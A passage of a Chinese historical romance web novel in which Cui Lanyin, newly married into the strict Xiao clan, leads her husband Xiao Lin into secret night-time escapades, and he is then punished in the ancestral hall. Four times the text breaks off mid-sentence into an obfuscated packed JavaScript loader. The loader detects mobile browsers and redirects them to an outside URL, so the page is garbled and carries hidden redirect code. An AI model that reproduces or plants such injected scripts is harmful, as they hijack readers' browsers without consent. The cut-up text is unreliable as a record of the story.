“看了啊。”崔兰因从他手里把册子顺手拿过来,“可是记这些什么用,大部分人八竿子都打不着。” 她也不想和他们打交道,反正人人都知道她不是千金贵女。 建康的世族们更乐意看她不学无术,好烘托出自己的高贵和得体。 答应与萧氏的联姻,其实也有崔兰因想给他们找不痛快的原因在里面。 瞧不上她又如何,她偏偏能嫁进萧氏。 她知道这样想,很俗气很不体面,但那又怎样? 祖母也说了,反正找个喜欢又合适的人很难,倒不如找个最好的。 崔兰因从后往前,没翻几页,就看见谢玧的大名,遂转移怨恨道:“这个谢五郎,还说带我回建康是来享福的,可我在建康吃的苦一点没少啊。” 苦? 萧临并不认同这是苦。 其实比起流落在外,能成为世家子弟,生来就拥有地位与特权,这点苦算什么? 但崔兰因就是不愿意配合。 无论是背世家谱还是学习宴请礼仪。 萧临从未遇到这样的难题,一时也不知道拿她这“桀骜”的女郎怎么办。 如果这些事他能替代崔兰因完成,他当然乐意至极,可问题是他无法代劳。 “你既已是这个身份,该承担的就应当承担,不可逃避,你先看,真的记不下来的晚些再来问我。” 崔兰因一张脸都皱成小苦瓜,萧临又温声安慰道:“凡事开头难,待到习惯便好,你以前是没有学好的,日后我都会抽空慢慢教你。” 崔兰因捏着册子没再吭声。 她其实是个吃软不吃硬的人,萧临都把自己捏这么软了,她又怎么好对他硬? 午饭过后没多久,萧临要继续回去处理事务,直到亥初两刻才回来,这个点已经是大部分萧家人的安寝时间,但是萧临还是照例先更换衣物再去见母亲、祖父。 王大娘子是因为操劳萧家事务以至于晚睡,但萧老太公则是因为年老体疲,难以入眠,老夫人睡后,他还要在院子里莳花弄草一阵。 这段时间也是留给萧临过来与他谈话的时间。 自齐太后去世,外戚齐氏发动午门之变,夺取皇甫氏帝位,庶民出身的齐氏虽以武装暴.力争摘取政权,但起初并不受各大世家承认,萧家是第一批站出来支持新皇帝的世家,因而萧太公也荣获得太傅一职,位列八公。 然众所周知,八公只为虚职,是皇帝用来笼络世族之用,就好比谢家拥有大司马之位,看着位高却没有实权。 世家不满新帝,新帝也同样不信任世家,寒门庶族的涌入,冲击着世家百年的基业,老太公依然操心着萧家的大船该驶向何方,少不了每日都要和萧临探讨朝廷的风向。 沉重的朝事商讨完,亥正两刻,老太公终于觉得乏累,正要打发萧临回去,萧临道:“这些工具,孙儿替祖父拿去杂间。” 老太公推脱不用,像是怕他去杂间,萧临问道:“祖父难道又藏了东西?” “绝没有的事。”老太公瞪了他一眼,把手一松,“给你给你,省的和你母亲一样,总是疑神疑鬼的,我早就改了晚上吃肉喝酒的毛病了!对了那杂间今个晚上闹老鼠,你快点出来,免得给咬了啊!” 萧临拿上工具告辞去,刚进杂间就听到一阵窸窣声,还以为是祖父说的老鼠就见一截衣料从架子后一闪而过。 “什么人?”他放下工具关好门,这杂间面积并不大,只是多造了几排架子阻挡视线,实际 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而且他并不认可崔兰因的做法。 萧临道:“你可以告诉母亲,为何要自己做这样的事?” 一提王大娘子,崔兰因急了,“那怎么能行!告诉阿家,我还怎么吃啊,我一整天都没有吃什么东西下肚,快饿死了。” 她推开角门,猫腰钻出去,熟练地仿佛不是第一次。 外面是萧家的西苑,幽静的湖周布有亭轩假山,遍植高大古树,夏季可供乘凉消暑,秋冬时分便略显萧瑟,这个时分连婢女侍从都不会从这里经过,因而只有清冷月光伴着两人一前一后的身影。 崔兰因提起裙裾走掩映在灌木当中的青石台阶上,连蹦带跳,身姿轻盈。 萧临回头看见正要跟来的景澄二人,摆了摆手。 崔兰因走进假山旁的抱月轩,把烧鸡放石桌上。 萧临跟进来,很快留意到桌上还有一个烧着炭火的手炉、一壶茶以及一条披风。 显而易见,崔兰因是早有预谋,就等烧鸡到手。 萧临询问:“你为何一日没用饭?” “早上没吃你知道的,中午光顾着摆样子,也根本没吃饱,晚上……我听人说阿家要找我一块用饭,怕不是要来考验我的,便不敢出来,生怕给你丢脸了,等过了饭点,厨房收拾的比我的脸还干净。” 崔兰因叹着气,打开油纸就开始拆烧鸡腿。 萧临话到嘴边又咽了回去。 若是一整天没有吃东西,的确不好过。 崔兰因把掰开的鸡腿递给萧临,萧临摇头不受,“萧家有规定……” “天天按规矩活,扫个地还要分上下午,累不累啊?老人都说能吃是福,想吃东西的时候就应该吃,等老了牙齿掉光了想吃还吃不上呢!” 崔兰因连珠炮般数落一通。 萧临静默片刻,改口道:“我不想吃。” 崔兰因用烧鸡腿在萧临面前比划,“你难道不想尝尝老太公心心念念的滋味?反正这里只有你和我,还有天上的月亮,放纵一回没人知道,我保证!” 萧临的目光重落到那只烧鸡腿上。 不知是因为好奇还是因为那“放纵”二字触动心弦,几息后,萧临终于从袖袋里取出了块帕子,用帕子包住鸡腿骨。 8. 心软 萧临终于肯和自己同流合污,崔兰因差点没压住唇角扬起的弧度。 她哼着小曲扯下另一只烧鸡腿。 烧鸡虽已冷,但腌制入味的鸡肉喷香酥烂,汁水丰沛。 崔兰因大快朵颐啃完半只鸡,萧临才细嚼慢咽完一只腿。 “味道如何?”崔兰因托起腮,眼如灿星,娇颜如花。 左右已经“放纵”了,再掩饰也无意义,萧临道:“尚可。” 夜凉风清,只有虫鸟在鸣叫,平添几分怡然与幽静。 崔兰因用手帕沾了茶水挨个擦手指,“孔夫子都说家花没有野花香,所以偷着吃东西其实更香,也不全无道理。” “……那句话不该这般解释。” “那该如何说?” “孔子家语有言,与善人居,如入芝兰之室,久而不闻其香。”① 崔兰因喝了口冷茶润嗓,道:“我懂了,意思就是说与长公子这等的凤雏麟子相处久了就不会觉得其优异。” 萧临无言以对,崔兰因想是自己没说清,便补充道: “我听人说,萧家长公子是世族表率,文能兴国武能安邦,是瑶阶玉树也是仙露明珠,但是王大娘子总能够鸡蛋里挑骨头,哪哪不满意。” 这不就是身在福中不知福吗? “我确实也有做得不好的地方。”萧临道。 “还不够好?你也太谦虚了!我要是能做到你这种地步,我母亲都能高兴一辈子!” 此话倒不是她夸张,建康多少母亲心里都有这种想法。若是自个的儿郎能有萧神玉一半优秀,那真是祖坟冒青烟了! 萧临胸腔蓦然又涨又酸。 似乎有什么东西想要疯狂涌出来,把他彻底淹没。 萧临是险些溺死过的人,本能不喜沉溺的感觉,无论是真的还是假的,都让他有灵魂与□□都受到致命威胁的不安。 他转过话题道:“你为躲避母亲考验,不吃晚膳,夜深还偷祖父的烧鸡,确实不对,万不可再做。” 崔兰因扁了扁嘴,“趋利避害是人之常情,再者,倘若我做不好,阿家还不是一样罚我禁食,和在崔家也无甚区别。” 萧临问:“你在崔家……也吃不上饭吗?” 崔兰因忙不迭点头,迫不及待告知:“我母亲和阿家这一点很像,她们不会用藤条抽我手心,只会罚我不许吃饭。” 大概萧临从没遇过这样的事,并不知道他们的母亲能有多过分。 萧临却听出了别的信息,道:“……还有人用藤条抽过你手心?” “对啊,以前我在……嗯,反正做的不好就会被抽手心,不过好在那时才六七岁,正是长身体的时候,长大后手里没有留疤!”崔兰因想起这事还挺高兴,把自己完好无缺、莹白红润的手掌心放在萧临眼睛晃了晃,“看,大夫没有骗我呢!” 崔兰因的手小巧精致,十根手指纤细匀称,皮肤细腻如羊脂,的确一点也瞧不出曾经受过折磨。 她语气轻松,似是不再为从前的经历而难过,但听到萧临耳中却不是那么舒服的事。 萧临问:“你在崔家,也会像今日……这般行事吗?” 偷这个字,萧临实在不想挂在嘴边。 但是崔兰因口无遮拦、无所顾忌,理所应当道:“是啊,那时我就去偷傅母藏起来的点心吃,傅母分明不喜欢吃甜食但总会买些沾了蜂蜜的甜糕藏在柜子里,其实我都知道,她是装睡的!” 对此她还狡黠一笑,为自己的机智而自得。 崔兰因的傅母陈媪是个要求严格、不苟言笑的仆妇,会对崔母命令阳奉阴违,怕是因为崔兰因时常受罚,担心她饿坏导致。 “你母亲如此待你,不伤心?” 当初得知与崔家有一门父亲口头上定下的婚事,周围亲朋都给他分析过利弊。 崔大娘子虽然不是崔家大房所出,但族谱上已经过了名的,加上崔大娘子一直美名在外,如何都比崔二娘子来的好。 就连崔母在外面与人说起,也愧然道二娘子不如大娘子。 身为亲生女儿,母亲却从不偏袒于她,还不如过继来的姐姐,萧临以为崔兰因多少会有些怨言。 崔兰因换了只手拖腮,道:“起初也伤心过,但从前有人跟我说过一句话,亲疏远近是不可捉摸与强求之事,一碗水哪有那么容易端得平,就算是一窝子孵出来的鸟,都可能有更喜欢的那一只,更别说兄弟姐妹之间。” “曾经我遇到过一个很好的婆婆,她带着一个孙子,年纪比我那会稍大几岁,婆婆见我可怜,怕我饿死或者掉进泛滥的盈江淹死,就拉上我一起逃难,晚上她不敢睡,时不时摸摸我的手怕我着凉发热。我们没有东西吃,婆婆把一块小馍掰成两半,一块给她孙子,一块给了我,自己饿了就拔草根填肚子,那是一个对我很好的婆婆,我们一起走了好远的路,但后来遇上水匪,婆婆把我推出去说,这个女娃娃皮嫩,好吃呢!” 萧临诧异看她。 他听过,在受灾战乱严重的地方,穷苦人会易子而食,十分残忍,但没想过崔兰因竟也经历过。 当时尚且年幼的她该有多害怕,多无助,他根本无从想象。 萧临沉默不接话,表情凝重。 崔兰因吐露可怕往事,反而冲他露了个笑脸,“我自是没被人吃掉,不然如何好端端在这里与你说话?” 萧临不解崔兰因怎么还能笑出来,仿佛是与自己毫无干系的事般。 他低声开口道:“那婆婆也非好人。” “萧神玉!”崔兰因忽然睁大眼,惊叹道:“原来你也会背后道人是非长短啊!” “事实如此。”萧临道:“她若是个好人,就不会把你推出去让人鱼肉。” 半个馍能喂饱的孩子能有多大,她狠心把这么小的孩子推出去,怎么能算是善良。 “但是亲疏远近是正常的啊,我不是她的亲孙女,只是路边捡到的弃儿,她给我饭吃,带我赶路逃难……如果不是遇到水匪,她也会做个善良的好人。”崔兰因像是在说服自己也在说服萧临,“对不对?” 女郎清澈明亮的眼睛里一派天真。 但萧临忽然心脏一软,却看出“可怜”二字。 “嗯。”他违心同意。 崔兰因又高兴又惆怅,“是吧!我想了许久才想通这点,所以就不怪那婆婆了。” “那遇到水匪后,你是怎么……” 萧临本不是好奇的人,更不会失礼地对人刨根问底,只是崔兰因这事着实出乎他想象,再加上她自己的语气那么轻松,轻松到仿若这并不是一件大事。 可实际上,这等经历落到哪一个女郎头顶,都是十分悲痛且不堪回首的事。 他不该问出口。 崔兰因却接过他未尽之言,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977518|161405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是怎么逃出来的?也没什么,就是碰上齐蛮,他求了那当家的没有把我吃掉,后来我们还一起从水匪手中逃了出去……这事你可不要跟别人说,不然齐……二皇子肯定会不高兴,要寻你我麻烦。” 崔兰因一时口快,正后悔说太多。 二皇子,齐蛮。 萧临冷不丁听见这号人,不免眉心一皱。 虽知崔兰因与他关系“好”,但没想到会在那么早的时候,且齐蛮还对她有救命之恩。 他起身道:“时候不早了,早些回去,免被人瞧见。” “哦好。”崔兰因抱起剩余的烧鸡正准备要走,突然又想起一件要紧事,回头问道:“今晚之事,你不会告诉阿家和老太公吧?” 萧临沉默片刻,“如无人问起,我不会说。” 高风亮节的长公子能做到不主动揭发已经相当不错了。 崔兰因懂知足常乐。 她高高兴兴抱着烧鸡,仰头笑眼盈盈道:“夫君。” 今晚似乎还是第一次听见崔兰因吐出“夫君”这两个字。 崔兰因只有在有求于他或者想找事的时候会娇滴滴喊他“夫君”。 萧临揉了揉鬓角,温声道:“何事?” “夫君今天晚上觉得高兴吗?” “高兴?” “就是做了平时不会做的事,尝了平日不会尝的美食,心情有没有稍微好一点?”崔兰因挤着眼睛,催促他,“有没有?” 那声音像是一尾鱼奋力地往狭小的石头缝里钻啊钻,不管身后尾巴把水搅得如何浑浊,它也想往里面探个究竟。 萧临的手指忍不住蜷起,抵进掌心。 “……没有。” 萧石头! 崔兰因气哼了声,拔脚要走。 萧临低头仔细用帕子把剩下的鸡骨头包好,崔兰因越走越不服气,走出几步后再次倒脚回来,怀疑道:“真的没有一点点吗?” 萧临终于又看了她一眼,道:“有一点。” 无论是语气还是姿态,都不难看出其敷衍。 偏偏崔兰因像没听出来,马上欢天喜地道:“太好了!我们日后岂不是可以常这样?” “哪样?” “就一起偷偷老太公的宵夜,再一起吃吃东西什么的呀!” 她还敢偷? 不过…… 凭他对崔兰因这几天的了解,她还真敢。 虽然老太公不能多吃油荤,但不代表崔兰因偷他的烧鸡就是对的。 一次放纵已是错,岂可让自己从此沦陷,和崔兰因一样不守规矩? 萧临道:“没有下一次了。” 萧临的反对并未让崔兰因泄气,却让她又生一计,道:“不如,人前我听你的,好好学习礼仪规章,配合萧家颜面,人后你陪我玩!” 这次萧临没有一口回绝,反而考虑起如此交换是否能够事倍功半,让事情进展顺利。 “……你当真自己会好好学?” 崔兰因一听便知有戏,马上眼睛弯弯,并拢三根手指对天保证:“真的,再真不过了!” 一想到雅量高致的萧临被自己带着去做“偷鸡摸狗”的事,这谁能忍住不发笑呢! 萧临审视她脸上洋溢的雀跃,慢条斯理问道:“所以,你之前总背下来学不会,只是因为不配合?” 崔兰因:“……” 9. 镜子 听完崔兰因半夜偷鸡的来龙去脉,陈媪脸上的褶子都快拉平了,结结巴巴道:“是长、长公子他抓到您了?” “傅母别怕,这次我们是共犯!”崔兰因得意。 能把洁身自好的萧临拉下水,谁能不夸她手段高! “共犯?” 崔兰因道:“祖母不是说过,与其对人好,不如对人有用,我看萧神玉他这个人吃穿不缺的,就差点自由。” 陈媪懵了,怎么做坏事还是自由了? “……长公子没有不高兴吗?” 今天早晨,长公子派人来说不过来时陈媪就惴惴不安了好一阵。 现在知道是崔兰因昨晚干的好事,她更加心如死灰。 完了完了,肯定是长公子把女郎当破罐子,索性不管了。 “要是不高兴,我现在还能在这里晒太阳?”崔兰因卧在树下躺椅上,拿起谢家谱摇了摇,“放心吧傅母,我已经改过自新啦!” 无论崔兰因如何解释,陈媪还是忧心忡忡。 直到中午,长公子带着人,携礼而来。 只是送上的不是钗环珠宝,也非胭脂水粉,而是一面错金银滚边饰铜镜。 那可真的是一面相当大的铜镜,足有人高,两端设四脚瑞兽踩地,可稳稳站立。 崔兰因往镜子前一站,光亮的镜面映出她整个身影,从头到脚。 她不由感叹,“好大的镜子啊!” 世族女郎的梳妆台上都会放置一面或者几面小铜镜检查妆容,但是能够看全身的镜子可不多,往往需要请专人打造。 这时萧临的身影出现在她身后,镜子可以照到他的眼,一双剔透的浅色瞳仁,温和儒雅。 “此镜可供你随时观察自己仪态,纠正动作。” 这面铜镜由名匠所造,能把人映照得纤毫毕现,还一点也不走样,而且底座铸有厚重的沉铁,即便壮汉来推也难以撼动,不用担心倒塌压着人。 此刻镜子里装着两个人影,前后相叠看不出距离,仿佛正紧贴在一块。 崔兰因从镜面观察身后的萧临。 没个明显比较时,不知道萧临的身躯臂膀比自己宽这么多,而且他站的位置稍偏,那只垂在身侧的大手仿佛已经触到她腿侧。 腿可比脸还要隐秘。 “哦。”崔兰因不由忆起那日萧临掌心薄茧带来的酥.痒,以及腹腔涌现的骨软肉.麻。 那是一种很奇妙的感受,她从未体验过。 可惜萧临早上不来叨扰了。 崔兰因幽幽垂下眼睫,抿着小嘴遗憾不可复来的机会。 正在她低眉敛目时,身后萧临的目光挪至她的唇上。 崔兰因的唇瓣红润,上瓣含肉.珠,下瓣肉饱满,合在一块时就似紧闭的蚌壳徒留一线,让人有撬开一探深.浅的冲动。 不过萧临看它的主要原因是,崔兰因太安静了,除了那个“哦”之外,再没往外吐出半个字。 而且,也不清楚她此刻在想什么,只见那两片雪嫩的脸颊浮起可疑的红晕,浓密卷翘的睫毛也随着略急的呼吸而颤动。 而萧临居高而下的视线里,还能看见她平滑柔美的肩线,以及从雪白纤细后颈往下延伸的背脊。 如此“风光”不期而遇,萧临怔了瞬,才挪开眼,低声道:“去做吧。” 崔兰因乖顺跪坐在锦垫上,臀正好压在脚后跟上,无论从正面还是背面看,都无可挑剔。 她手指握住白玉箸。 萧临的目光就落在她手上。 女郎以三指轻捏玉箸,说不好是手指更润还是玉质更滑,又仿佛是美如一体,不分上下。 崔兰因先夹起一小块糖制樱桃脯开胃,樱桃用蜜糖浸泡后又晾晒为果干,色泽剔透像枚琥珀,琥珀里夹着几缕姜丝,甜辣可口,很合口味。 她多瞧了几眼,暗暗记下,等下桌再去问问哪里能搞到一罐当零嘴吃。 吃完开胃小食,崔兰因把玉箸放下,用清茶润了嗓子,这时候下两道菜方摆上桌。 一大宽盘里团着一朵晶莹剔透的“花”,上面撒着姜蒜以及桔皮等金齑,这道菜便叫金齑鲈鱼脍,另一道是浸在束肚宽口大盆里的罐焖鹿肉。 崔兰因扫了一眼,对景澜道:“少了一道羹,还有这鹿肉,麻烦帮我切一下。” 景澜连忙应是,把罐焖鹿肉撤下去切片,景澄则把“漏掉”的鲜虾莼菜羹端上来。 崔兰因得意地从镜子里看了眼萧临。 萧临确实没有挑出她什么错来,只是他有些恍惚,不知是自己错漏了还是崔兰因真的做好了,因为刚刚有一半的时间他在走神。 他居然难以专注,这是极其少见的。 在崔兰因重新开始享用切完片的罐焖鹿肉时,陈媪忽然从后面拿了件兔毛围脖要给她裹上。 “我不冷啊?”崔兰因莫名其妙。 虽说现在已立冬,但建康城还没下雪,就连银杏叶都未染黄,这兔毛围脖委实夸张了。 陈媪咳了下,“是长公子的意思。” 崔兰因从镜子里看萧临。 什么意思? 崔兰因不合时宜想起曾经“伺候”过的富商女儿,那是个颇有意思的人儿,养了只叫酥酥的猫。每天换着花样给猫配餐食,还要给猫搭上不一样的装饰,一会用宝石花扎着两只小耳朵吃鱼丝燕窝羹,一时又带着金树步摇吃海参羊肉碎。 照她的话就是,看猫儿穿好看的饰品吃饭更加赏心悦目。 所以,萧临这是管她吃饭,还要管她穿什么好看? 当她是只听话的宠物? 崔兰因往后抖肩,把兔毛围脖甩掉,“不穿,热。” 围脖一掉,崔兰因留意到萧临的目光往旁边一转,就像在避讳什么。 崔兰因扭头往自己肩上、后背瞧了瞧。 难道是因为这件对襟高腰的上襦露出肩与后背,而他怕看见她的皮肤? “娘子,长公子也是一片好心。”陈媪把兔毛围脖捡起再次盖在崔兰因肩上,这次崔兰因没有马上抖掉,而是留意到萧临的目光又转回到她身上。 崔兰因观察镜子里的萧临,把右肩的围脖拉下去一半,萧临眸眼一凝似乎就要避开,但对上她戏谑的眼神,发现她是故意的,便攒紧了眉心。 好玩,崔兰因乐不可支。 陈媪还不知发生什么事,后边的长公子已然起身,温声道:“崔氏还未熟练掌握宴席礼仪,撤下去,再做一遍。” 崔兰因笑容顿收,举起玉箸左右张望,“欸!别啊,会冷。” “你不冷。”萧临说罢,迤迤然走出屋。 / 崔兰因白日认真学礼仪、背家谱,晚上就加倍拉着萧临“作妖”。 萧府规矩森严,敢在外面走动的人不多。 崔兰因趁傅母睡后,偷偷带萧临摘树上的果子。 她摘,萧临看。 也去叉了湖里的游鱼。 她叉,萧临看。 要不是生火动静太大,恐引人注意,崔兰因都打算就地烤鱼了。 “我们去厨房掏点盐吧!” “做什么?” “把鱼腌起来啊,如果有花椒、茱萸一起碾成粉,涂在鱼身上,挂在风口吹干,很好吃的做法,你平日也吃过啊!” 吃过,但是没有做过。 这种事情萧氏的郎君们都用不着学。 萧临感觉夜风寒凉吹得脑壳疼,他揉了揉,道:“明日交给下人做。” “那不行,一晚上就会臭掉的,长公子也不想被人发现有一条臭鱼挂在你院子里吧?”崔兰因故意把腥呼呼的鱼叉到萧临眼皮下。 伙房在萧府的北侧,两人一前一后抄近路走在假山里,崔兰因叉着鱼,犹如提着只熄了火的鱼灯笼,嘴里哼着不知名却轻快的小调。 秋风吹动头顶的银杏,树叶簌簌作响,时不时飘下七八片,沾在两人的衣上、发上。 地上已经铺出一条金黄的毯子,踩在上面声音清脆好听,萧临的心情异样宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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实际遇上比书上看来还要让人气愤。 因听得认真,没留意身后萧临靠过来,不小心碰掉了她手中的鱼。 啪叽两声。 才死没多久的鱼肉很弹,掉在地上还能跳起来,来个回响。 这动静鬼都知道不对劲。 那边的郎君顿时大喊了声:“是什么人!” 崔兰因做贼心虚,吓得魂要飞了,拉住萧临就要跑。 但萧临稳如磐石,愣是让崔兰因没能窜出去一步。 你作甚不跑? 崔兰因回眼瞪萧临,萧临没看她,还把她的手扯了下去,大义凛然,不躲不藏。 崔兰因也不管萧临了,趁那边的郎君还没寻来,拔腿跑了个没影。 逃跑不积极,脑子有问题。 翌日,崔兰因哈欠连天醒来,一旁陈媪已经憋了一肚子话要讲。 挂起半张床幔就忍不住道:“娘子没准还说对了,长公子可能是个变态!” 崔兰因打岔气了,险些下巴脱臼收不回去,她托着下巴惊道:“变……态?谁?萧临吗?” 陈媪连连点头,“是啊,女郎睡了不知情,长公子晚上居然不睡觉,夜深人静去湖里叉鱼,还撞见四房的郎君和一女郎的丑事!现在两位郎君都在祠堂里跪着呢!” “啊?” 萧临没跑还把自己赔进去了? 陈媪担忧:“您说长公子该不会患有怪病吧?要不然白日好端端,晚上为何要去叉鱼?还有人说长公子是为了泄愤,才拿鱼出气……” 大家都百思不解,但长公子是一个字没解释。 崔兰因暗暗叹了口气。 就说鱼应该拿佐料腌起来,这样大家只会说长公子嘴馋而不是变态了。 “快,给我梳妆,我要去祠堂瞧瞧!” 10. 祠堂 家族祠堂是重地。 崔兰因想去看萧临的热闹,可守卫不放行,她又不敢去找阿家说情。 依那位夫人精明的劲,岂不是自己洗干净脖子冲上去找砍吗? 明着不行,崔兰因就找旁的法子。 折腾到日落西山、华灯初上,她好不容易找到门路溜了进去,见到在祠堂跪得挺拔的萧临。 萧祠高粱大柱,威严庄重。 对着祠堂门正中的那间最为宽阔,黑色神台一层一层往上,就像是座巍峨高山,俯瞰后人,两边如树耸立的烛台上百来只蜡烛齐放光辉,把正堂照得如白昼般明亮。 黑色压抑,灯火明亮。 萧临面迎着光烛而跪,身后拖着漆黑孤独的长影。 崔兰因环顾一圈,确定除萧临外再没有旁人。 她提起裙摆,蹑手蹑脚走近,一弯腰就对上萧临转来的视线。 崔兰因两手撑着膝,笑吟吟问:“怎么只有你?” 忽然见着一张熟悉的笑脸,萧临暗蹙眉尖,不答反问:“你如何进来的?” “这个,山人自有妙计。”崔兰因摸了下鼻尖,拖来旁边的蒲团原地坐下,手不停拍打沾有草屑的袖子,口中问道:“你都跪了一天了,到底犯了什么大错值得这样罚你,不过就是晚上游一下园,又没杀人放火的。” 萧家真是小题大做,莫名其妙。 而且今日还是萧临难得的休沐时间,竟都浪费在死气沉沉的祠堂里了! 对此萧临一点怨言也没有,平静道:“萧家规矩如此,我明知故犯,自是要重罚才能服众。” “规矩规矩,哪有这么多不通人情的规矩!” 崔兰因其实有过愧疚,但也不是太多。 丢下萧临不是她本意,明明两人可以同时跑掉,谅那个郎君也不敢声张。 她不但埋怨萧府规矩多,也在怪萧临死脑筋不知变通。 他竟然为了罚那犯事的郎君,把自己也牵扯进去。 但萧临十分认同萧家的规矩。 “不严格约束家族子弟,日后犯下大错,就迟了。” 崔兰因不服气道:“那跟着你一起受罚的那个呢?他难道就用不着约束了吗?” 不管赏还是罚,都是不患寡而患不均。 萧临道:“他明年开春要参加策试,四叔母特来求情,母亲网开一面,令他回屋反省,闭门三日,他今日也跪到日落时分。” “那你不能回屋反省吗?” “不能。” “为何?” 萧临看着面前的神位,没有回答。 崔兰因把手肘支在膝盖上,托起下巴,大眼睛眨了眨,叹道:“萧神玉,你成日都要端着,不累吗?” 走路要挺拔,吃饭要端庄,说话要温柔,就连罚跪都要比别人久。 萧临眼睫动了下,露出下边浅褐剔透的眸子。 累吗? 人只要活着,心脏一直都要跳动,呼吸也从未停止,累吗? 没有人会关心它累不累。 因为它不能停,不能有失误,不能出错。 当一些事情变得像呼吸心跳一样习以为常时,就不会觉得累了。 只是在崔兰因说出这句话时,萧临心中那根燃烧的火苗像是被一阵不期而遇的风,吹弯了腰。 他不累…… 心里这样想着,那火苗又重新站直了。 大袖宽衫覆着萧临的身躯,随着风,苍色纱袖翻动,出尘如仙,不染纤尘,就如他的嗓音,温和清润,也不含任何情绪。 “时候已不早,母亲为杜绝此类事情发生,这几日一定会增派巡卫加大监管,若是碰上了,你也逃不了罚,早些回去。” “那我更加不能走了,万一走到半路就被抓了,还不得回来这里同你一齐跪着?”崔兰因不走还把屁.股坐得稳稳当当,“不过,夫君,你为什么没有向阿家揭发我?你这样算不算是包庇?” “母亲没有问起你,算不得包庇。” 崔兰因朝萧临眨了眨眼,心领神会笑了笑,才道:“我听说昨夜那名娘子是二房的远房亲戚,寄住在萧家已有两年了,那萧七郎既然喜欢她,为什么不让她名正言顺?” “门不当户不对,七郎不能娶她。” “那萧七郎岂不是对人始乱终弃啦?”崔兰因替那娘子抱不平。 “若那位陆娘子没有打着要嫁入萧家的主意,二叔母也会为她找一户合适的人家嫁出去。” 虽然萧临说得婉转,但崔兰因也听懂了。 估摸是那陆娘子不满意二叔母的安排,自己拿了主意要嫁给萧家郎,但谁知竹篮打水一场空,萧七郎不但吊着她,还打算娶个门当户对的新妇,这才有了昨晚的那一幕。 崔兰因“哦”了声,托腮问道:“门第真的就这么重要吗?” 萧临不用思索,就给出答案。 “重要。” “假如我不是崔家的娘子,只是个普通的庶族女郎,你是不是就绝无可能娶我了?即便——你喜欢?” 萧临以余光撇来。 崔兰因披着件深色的厚罩衣,里面穿着烟粉的上襦配着石榴红格花下裙,鲜艳的颜色衬着她那张脸年轻、鲜活而且美丽。 即便不是出身崔氏,她也是个漂亮到足以引起人关注、欣赏的女郎。 短暂几息后,萧临道:“不知道,而且这个问题没有意义。” 崔兰因就是崔家的娘子,而萧家与崔家正好有婚约。 没有假如。 “如果呢?” 世家之中也并非没有先例,但那位郎君与萧临不同,本就是任性狂妄之辈,他因喜欢而娶了一名下等士族的女郎,甚至还被当成一段佳话。 但萧临克己复礼、循规蹈矩,这样的人可会因为喜欢一个人,喜欢到不顾一切吗? 崔兰因实在好奇,萧临被她“灼热”的视线紧盯,躲无可躲,只能扭头问她,“那你会吗?” “我会啊。”崔兰因答得干脆。 萧临被她的理直气壮弄得无言驳斥,干脆闭上眼睛,“但是已经迟了。” 崔兰因不解。 什么迟了? 萧临眼睛都合上了,摆明是不想再谈下去,崔兰因往袖袋里翻了翻,找出一油纸包,打开就散发出一股浓郁的油炸香味。 “你饿不饿啊?他们给你送饭了吗?吃炸小鱼吗?” 萧临睁开眼睛,崔兰因手捧炸河鱼送到他眼皮底下。 每条小鱼都裹着一层金黄的外壳,一看就是炸得恰到火候。 “不吃,你回去吧。” 崔兰因只听见他前一句似的,遗憾道了句:“不吃吗?很好吃的,我特意带来给你的。” 萧临还是道:“不必。” 崔兰因也不勉强他,起身往前走几步,郑重地把炸鱼放在一盘盘堆放整齐的珍贵贡果之中,她还合手拜了拜。 “公爹,听说你也喜欢吃炸鱼,兰因借花献佛莫要怪罪。” 萧临:“……” 崔兰因拜完后,又回到萧临身边的蒲团上。 萧临道:“还不回去?” 崔兰因抿了抿嘴,“夫君这次受罚不会怪我吧?” 费尽心思进来,又百般讨好,原来是怕被他迁怒? 萧临面色不改,“不怪你。” 崔兰因大喜,两眼亮晶晶凑上前,低声道:“那我们之前的约定,还作数吗?” 萧临感觉自己都想错了,崔兰因也不是怕得罪他,而是怕往后没人纵着她玩闹才是真。 即便心绪起伏,泛起波澜。 萧临还是平静道:“作数。” 崔兰因很满意,眼睛弯成月牙,笑容灿烂,“那我陪夫君跪会,说说话。” 萧临闭口不出声。 崔兰因就动手拉了拉他的袖子,“随便说点什么也好啊,要不然我们跪这里多无聊?而且祖宗们也寂寞久了,十天半个月都没有人给他们絮叨。” 萧临劝不走崔兰因,也堵不上她那张不依不饶的嘴,只能屈从道:“那好,我给你讲世家谱。” “……” 一听学习,崔兰因就犯困,无精打采道:“也行。” 萧临的声音平稳,吐字清晰,如叮咚的泉水流畅,但崔兰因脑袋还是点啊点,眼皮就跟断了线的卷帘一个劲往下坠。 萧临为求心静,便没有看崔兰因,闭着眼背到谢家谱上卷完,就听见旁边“咚”得一声。 他睁眼一瞧,旁边那女郎跪在蒲团上,背弯成拱桥,额头结结实实磕在地上。 磕晕了? 萧临伸手轻轻拍了拍崔兰因的肩膀。 没有动静。 他又推了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 